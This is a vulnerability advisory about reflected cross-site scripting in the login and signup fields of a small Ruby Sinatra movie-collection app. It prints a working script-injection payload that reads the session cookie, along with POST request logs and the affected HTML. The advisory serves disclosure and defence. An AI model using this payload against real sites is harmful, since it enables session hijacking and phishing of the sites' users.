Document Title: =============== My Movie Collection Sinatra App - (Login) XSS Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2293 Release Date: ============= 2021-11-01 Vulnerability Laboratory ID (VL-ID): ==================================== 2293 Common Vulnerability Scoring System: ==================================== 5.1 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Welcome to My Movie Collection Sinatra web app where you can create, read, update, and delete movies that you own. Here you can build and keep track of your DVD/Blu-Ray collection. You can also add movie comments and date purchased. The code is available as open source under the terms of the MIT License. (Copy of the Homepage:https://github.com/jffernan/my-movie-collection ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple non-persistent cross site scripting vulnerabilities in the My Movie Collection Sinatra web-application. Affected Product(s): ==================== James Fernandez Product: My Movie Collection Sinatra app (v2017 & v2018)- Video Application (Web-Application) (Ruby) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-11-01: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple non-persistent cross site web vulnerabilities has been discovered in the official My Movie Collection Sinatra web-application. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests by the client-side. The non-persistent cross site scripting web vulnerabilities are located in the username and password input fields of the login and signup module. Unauthenticated remote attackers are able to process manipulated post method requests for logins or signup to inject own malicious script code with non-persistent attack vector. The request method to inject is post and the attack vector is located on the client-side. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] ./login [+] ./signup Vulnerable Input(s): [+] Username [+] Password Vulnerable Parameter(s): [+] username [+] password Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. PoC: Exploitation "><img src="evil.source" onload="alert(document.cookie)" < --- PoC Session Logs (POST) --- https://sinatra-my-movie-collection.localhost:8000/login Host: sinatra-my-movie-collection.localhost:8000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 183 Origin:https://sinatra-my-movie-collection.localhost:8000 Connection: keep-alive Referer:https://sinatra-my-movie-collection.localhost:8000/login Cookie: rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODljYWY2NTVm NGZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFzWWZUWmJzK2F2VjZYVUVweHBhdDh1LzROUUdQ%0AaXozNmsyWkhabzJYRDhJPQY7AEZJIg 10cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMDAwNmQ5%0AMTk1ODk5ZTVhNGYwBjsARkkiG UhUVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzOWI1NWM1ZTAwOGNiYjUGOwBG%0A--0b309977af0b38c2447b5de4853c1057e744939c username="><img src="evil.source" onload="alert(document.cookie)" <&password="><img src="evil.source" onload="alert(document.cookie)" < - POST: HTTP/1.1 200 OK Connection: keep-alive Content-Type: text/html;charset=utf-8 Location:https://sinatra-my-movie-collection.localhost:8000/ Content-Length: 0 Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21) - https://sinatra-my-movie-collection.localhost:8000/evil.source Host: sinatra-my-movie-collection.localhost:8000 Accept: image/webp,*/* Connection: keep-alive Referer:https://sinatra-my-movie-collection.localhost:8000/signup Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODljYWY2NTVmN GZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFzWWZUWmJzK2F2VjZYVUVweHBhdDh1LzROUUdQ%0AaXozNmsyWkhabzJYRDhJPQY7AEZJIg10 cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMDAwNmQ5%0AMTk1ODk5ZTVhNGYwBjsARkkiGUh UVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzOWI1NWM1ZTAwOGNiYjUGOwBG%0ASSIMdXNlcl9pZAY7AEZpAj oC%0A--1380e0331772015e3a17a365d51a8ec2ef977a09 - GET: HTTP/1.1 200 OK Connection: keep-alive Content-Type: text/html;charset=utf-8 Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21) Vulnerable Source: Signup / Login (nav) <html><head> <title>My Movie Collection</title> </head> <body><nav> <a href="/movies/new">Enter new movie</a> <a href="/movies">See your movies</a> <a href="/logout">Logout</a> <h3>Welcome, "&gt;<img src="evil.source" onload="alert(document.cookie)" <!="" <!--capitalize="" 1st="" letter="" of="" username--=""> </h3></nav> Reference(s): https://sinatra-my-movie-collection.localhost:8000/login https://sinatra-my-movie-collection.localhost:8000/signup Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. 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